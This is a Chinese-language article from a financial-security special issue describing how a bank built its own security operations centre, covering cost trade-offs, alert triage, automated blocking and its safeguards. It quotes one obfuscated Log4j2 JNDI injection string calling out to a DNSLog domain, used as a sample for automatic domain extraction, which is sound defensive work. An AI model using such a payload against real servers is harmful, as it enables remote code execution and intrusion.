1 背景
疫情以来，“降本增效”逐渐成为金融业共识。中国互联网金融协会与毕马威联合发布的《2023中国金融科技企业首席洞察报告》显示，与2022年相比，“钻研技术，增强竞争力”超过“开拓市场，树立品牌”成为受访企业未来3-5年的主要发展方向，占比53%；选择“压缩成本，提高效率”的企业占比从12%大幅增加到18%。在压降的大背景下，如何满足日益丰富的安全需求、日益严格的监管力度？自研是值得考虑的方向。
不过，有道是，“免费的才是最贵的”。自研是否能达到“降本”的目的？对标成熟的商业产品，自研系统又如何“增效”？本文总结了平安银行自研SOC的实践经验，希望能带来一些启发。
2 是否自研的决策考量
决策是否自研时，我们可以把一套系统的成本形象地分为“马达成本”和“底盘成本”：
马达成本：核心功能，即有且仅有该系统使用的功能、提供的能力，其建设成本记为E(ngine)。
底盘成本：通用组件，即各系统均需使用的基础资源、服务、功能，其建设成本记为C(hassis)。
我们以外购和自研的系统达到同等水平为假设进行对比。
如果只是考虑单个系统是否自研，则：
外购成本 = E/U + C
自研成本 = E + C
显著的区别在于，商业产品通过销售给多个客户U(ser)分摊了其研发成本。而在不考虑对外输出的情况下，自研的产品用户只有自家一个。不难想到，有两种情形是不适宜自研的：
(1)E太大，即核心功能研发难度太大，超出安全团队可以承受的上限。例如涉及操作系统底层逻辑、网络协议详情、二进制POC/样本等。
(2)U太大，即产品成熟、用户数庞大，外购成本很低。例如防火墙、防病毒等。
反之，如果研发成本不大（E比较小）、有本企业特色需求（U等于1），此类系统比较适合自研。通俗来说，可以自研一个漏洞管理系统，但不太可能自研一个扫描器，更不可能去大规模自研POC。
但多个系统算总账，情况则发生了变化：
外购成本 = (E1/U1 + E2/U2 +...+ En/Un) + (C1+C2+...Cn)
自研成本 = (E1+E2+...+En) + C
显著的区别在于，每个外购系统都有自己的底盘成本，而自研系统的底盘成本只有一个。可能的原因包括：
外购系统是黑盒模型，有时需要采购专用硬件。
“转接头成本”：与必要的内部系统进行对接时，由于各不相同，因此可能每个外购系统都要付出一次对接成本，体现在定制化开发、走流程、数据治理等各方面。
而自研系统则没有这方面的问题，目标系统对接过一次之后，后续其他项目复用其代码即可；基础资源则可以使用企业标准化的云平台。而且，如果企业今后有了新增的系统（如大模型、AIGC），则所有之前自研的应用都能快速接入。
可见，外购系统和自研系统有各自摊低成本的逻辑。面对过于专精或非常成熟的系统时选外购，面对难度不大或准备长期走此道路时选自研。
3 最小化开发：降低自研成本
与服务于业务部门的庞大研发团队不同，安全团队可用于研发的人力非常有限。好钢若有，刀刃何在？接下来分享最小化开发内容的实践经验。
“马达”方面，首选是寻找成熟的开源解决方案，在此基础上进行二次开发可以极大地降低工作量。如果没有，则需将需求、功能拆分后，调研每一个子模块有没有开源解决方案。例如：
规则引擎，拆分为语法树、流处理等模块；
SOAR，拆分为前端编排和后端工作流/BPM等。
如果有开源解决方案但不能完全满足需求，则可以顺藤摸瓜，研究其所依赖的开源组件是否能为我所用。要坚信，太阳底下没有新鲜事，我们所面临的技术问题还远未到挑战科技前沿的地步。在找零件上即使花费数周时间，最后也会物超所值。
企业的整体IT水平是其安全水平的根基。一个资产管理混乱、流程执行不力、人员意识淡薄的企业，不可能做出卓越的安全。反之，如果本身已有较高的IT水平但弃而不用，则无异于暴殄天物。我们将对“底盘”的需求由低到高分为3级。企业提供的能力等级越高，我们用好这些能力后，就越能起到减少工作量的效果。
一，具备便捷的IaaS。不仅包括基本的操作系统、容器、存储，还包括常见的组件如数据库（MySQL、MongoDB）、大数据（Hive、ElasticSearch）、消息队列（Kafka）、缓存（Redis)、中间件（Tomcat、Weblogic）、流处理（Spark、Flink）。安全团队不是专业的系统运维团队，基础需求托管到标准化资源上，才能提升系统可用性、降低配置不当带来的风险。
二，具备“拎包入住”的配套服务，包括CI/CD、日志采集、性能监控等。硬盘满、内存满、队列堆积等导致的系统故障大家应该深有体会；而自己搭建一套可用性监控系统，监控系统本身的可用性又如何保证？因此不止需要标准化的资源，还需要专门团队提供默认认启用的预警、通知、排障支持，甚至优化建议。
三，具备常用功能的SaaS，“开箱即用”，例如：
3A/4A系统，包括SSO、双因素等登录功能，账号管理功能，审计功能。
通知系统，支持邮件、IM、短信等多种通知方式，文本、图片、附件等通知内容。
工单系统，支持编辑式或定义式的表单定义，以及工单发起、审批、委派、处理等功能。
报表系统，支持编辑式的的计算逻辑和绘制画布，支持实时、周期、手工等触发方式。
应用监控系统，支持以埋点、API等方式上报监控指标，可自定义交易量、成功率、耗时等监控项及其阈值。
CMDB系统，可对人员、设备、应用、网络等资产进行一站式查询。
安全团队的外购系统很多，虽然服务于整个企业，但由于专业性较强，因此直接用户往往是团队内部的成员。加之具有运维权限，好处是自给自足，可以自己部署应用；坏处是久而久之形成孤岛，一些工具游离于整个企业的体系之外。自研的初期是一个不断挖宝的过程，发现其他团队的“新”产品，然后研究并判断能否加以利用。
4 自研SOC演进历程
我行背靠具备互联网基因的集团，坚持“科技引领”战略方针，弘扬“我coding我骄傲”的工程师文化，这些都为自研提供了良好的土壤。例如：
提供公共服务的内部系统，接入指引、接口文档比较详尽，基本可以自助接入，属于社恐工程师友好型。
不少室组有研发人员，知晓自己系统技术细节，沟通效率高；一些问题升级后可以内部解决。
我行的SOC，就是在时间紧急的情况下，由一位工程师花一晚上的时间从自研的漏洞管理系统改写而来，然后就此迭代沿用至今。试想，如果没有相关人才，或是当时的漏洞管理系统不是自研的，那就是另一条路线了。
1.0版本的SOC是一个事件管理平台，实现了事件的上报、通知、跟踪等功能，一键处置手段只有封IP，以及必要的仪表盘、报表。这一时期分析研判还是在各安全设备上进行，SOC则满足了日常运营流程的基本需求。
2.0版本开始，SOC平台功能大大完善，成为了安全运营的“主战场”，解决了日常运营的绝大部分需求，并开始具备自己的特色。
架构方面，在安全团队的统一规划下，以服务于全团队的安全大数据平台作为基底。平台负责告警、日志、资产、情报等各类数据的接入、存储、ETL，然后开放给各领域使用。包括：
各类安全设备告警的汇聚及字段的规范化，进行初步过滤。
各类资产数据源的整合，安全独有资产属性的构建。
各类情报数据源的整合。
告警、日志与资产、情报的碰撞，进行信息富化。
SOC则专注于运营领域的应用，即告警的研判和事件的处置。这一时期我们树立了“全量告警应查尽查、攻击事件应报尽报”的目标，为此要建立告警闭环的能力。即每一条告警，只要从安全设备原始平台产生，则谁进行的研判，是忽略、待观察还是生成事件，都必须有明确结果。每日回顾时，不允许存在无下文的“野”告警。
对于防护体系相对完善的企业，由于产品众多，日均百万级别的告警已屡见不鲜。我行通过安全大数据平台的规则已实现了99%左右的告警过滤，但剩余告警仍有万级。即使只看高危，也有数千。而在保证质量的前提下，人力一天能研判的数量一般在200以下。为了达到目标，我们自研了告警流式处理引擎，构建了自动化处理和分类分级两大核心能力。
以Apache Log4j2漏洞为例，能否从下面的样本中自动提取出my.dnslog.cn这一域名，对于后续的自动化流程有着天壤之别。
${${a:-j}ndi:ldap://${::-m}y.dn${::-s}log.${b:-c}n};
攻击者可以轻易地更换IP，甚至使用秒播IP。但DNSLog或远控域名则相对固定，是关键要素。能够自动提取，则可以打蛇打七寸，域名封禁后，即使IP封禁不及时，也不受影响。同时，这种通过关键要素进行合并的方式是事件视角，可以更好地回答“谁在攻击我”，解决机械地按源IP、目的IP、告警类型、时间等进行合并带来的合并程度低、合并不完全的问题。
类似的场景还有：
钓鱼邮件中，发件人、主题、发件IP都是非关键要素，背后的钓鱼网站是关键资源。要具备从邮件的图片、Word、PDF等提取和识别二维码的能力。
弱口令中，账号、源IP、目的IP都是非关键要素，应用ID是关键要素。整改完成前则可以将该应用再次出现的弱口令告警合并到同一漏洞工单，不再关注。
遇到新的场景，则可以用插件的方式快速拓展相应提取逻辑。
当需要告警达到一定量级时，为确保真正高危的告警得到及时研判，就要对告警进行分类分级。
分类，指将告警分成自动策略处置、人工研判、待观察、忽略等类别，直接进入不同的后续流程。
分级，指将需要人工研判的告警进行细粒度的级别，并按照优先级进行展示，确保真正高危的告警被置顶。
分类分级的过程可以形象地理解为“人肉决策树”，特点如下：
(1)所有告警字段都可以用于分类分级，除常见的告警类型、威胁名称、危险等级、攻击结果等，还可使用前期富化的字段。包括：
网络流向：DMZ、应用、数据库、外联、管理，从哪个域到哪个域？互联网、生产/测试网、办公网，从哪个区到哪个区？
情报：来源、置信度、重点关注标签。
资产：漏洞信息、重点关注标签。
(2)直接以树状结构录入规则，编译后实际也是以树行结构执行，真正模拟人研判告警的过程。
2.5版本的SOC，重点加强了一键处置的能力。得益于运维团队的支持，不少室组将其能力封装成了接口，供安全团队处置时调用。加上安全设备自身，可对多类型目标、多环境进行一键处置。
自动化程度越来越高后，误封带来的问题也逐渐凸显。IP方面，近一年我行封禁外网IP已达万级，即使只有0.1%的误封，也意味着平均每个月就会误封一次。账号方面，也曾发生过批量封禁时包含了高管账号，但未及时通知，导致要进行“危机公关”。
调用其他室组提供的接口进行处置时如果导致生产事故，今后对方可能就不敢向你开放接口了。因此，不能只管杀不管埋。自研产品在“接地气”这方面具有天然优势，可以适配内部的各项制度、流程。我们为一键处置配备了四大配套机制。
一是将一键处置相关操作申报变更预授权，确保流程合规。在处置时自动生成变更单号，确保在内外部监管监察时有据可查。
二是双人复核，设置申请和复核两个审批步骤。
一是白名单保护。白名单在系统中录入和生效，如果对名单中的对象发起处置会被系统拒绝。名单内容包括：
IP：企业自身IP、合作伙伴IP、临时测试IP、运营商出口IP。
域名：企业自身域名、百万级常用网站域名。
账号：高管账号、应用账号。
二是防呆保护，每一个处置对象有处置次数计数器，超过一定次数后会作处置失败处理。一方面是防止系统bug反复调用同一接口产生无法预期的后果；另一方面是触发系统报错，由人介入进行排查。
一是将处置信息进行公示，为相关业务、开发、运维人员开通权限，让其自助查询IP等是否已被封禁，从而省去答复“某某IP是否已被封禁”这类问题的重复劳动。万一真的误封了也可以提升对方排障效率。
二是只要理论上可行，都会为一键封禁配置相应的一键解封操作。回退操作同样会同步到之前所述变更单的转态中。
可按需将封禁操作知会到本人、上级、业务负责人，可使用IM、邮件、短信等各种方式。通知的方式需要按照封禁场景进行选择。例如，一旦封禁某个员工的账号，该员工将无法使用IM、邮件，此时只能以短信方式通知其本人，同时以IM、邮件等方式告知其上级。
SOC平台目前运转良好，经受住了历次HW行动的大考。但在新形势下，也面临着以下挑战。一是随着安全团队的壮大，参与事件处置的人员越来越多。尤其是在HW行动中，重保厂商等人员会临时加入。拉齐所有人的水准成为一个难题。二是随着事件处置的场景越来越多、步骤越来越复杂，如何确保SOP得到快速、准确地执行成为难题。例如勒索病毒场景，甚至需要大量数据库、云平台管理员协同。
显然，SOAR是一种解决思路，但需要在现有开源、商业解决方案的基础上加强以下能力的建设。一是人机协同的能力。现实环境是复杂的，全自动的SOAR剧本不一定每次都能成功，此时允许随时介入、人工操作后断点续行的机制就显得尤为重要。即使回退到纯手工执行，也至少可以获得挂图作战的效果。二是线索组织能力。当前的作战室更多的是起到聊天室的作用，理想效果是类似电影中警察破案的“白板”，可以自由上传各类文件/图片，张贴线索或备注，通过连线绘制关系图、拓扑图等。这将成为我们下一阶段的重点。
5 总结
相比于看得见摸得着的商业产品，自研其实是一条充满未知的道路。无法提前说它好，也无法提前说它不好。对于开发者个人来说，由于少了“拿乙方当挡箭牌”这一选项（比如采购周期长、产品不支持、需求要排期等），同样要做好心理准备。
除开头部互联网公司，外购依然是企业安全能力建设的主要选择。不过手上没剑和有剑不用是两码事，具备自研的能力可以为企业提供多一种选择。
作者介绍
黄炜程，平安银行股份有限公司，平安银行技术专家，负责安全运营自动化体系建设，长期从事甲方一线安全运营工作，在安全工具建设、安全数据分析方面有丰富经验。
关于 大湾区金融安全专刊
大湾区专刊现已发布第1辑和第2辑，集合了全国数十家金融和科技机构的网络安全工作经验总结，更邀请了大湾区港澳金融机构的安全专家分享独到见解。文章内容涉及防御体系、安全运营、数据安全、研发安全、业务安全、资产管理、攻防演练、前沿分析等主题方向，希望能为从业者提供网络安全防护方面的整体思路，向行业传播可持续金融创新和实践经验，为推动可持续金融生态发展汇聚智慧与力量。
关于 安全村
安全村始终致力于为安全人服务，通过博客、文集、专刊、沙龙等形态，交流最新的技术和资讯，增强互动与合作，与行业人员共同建设协同生态。
专刊获取方式
本次专刊的合作机构如下
赶紧关注他们
联系获取纸质版专刊吧！
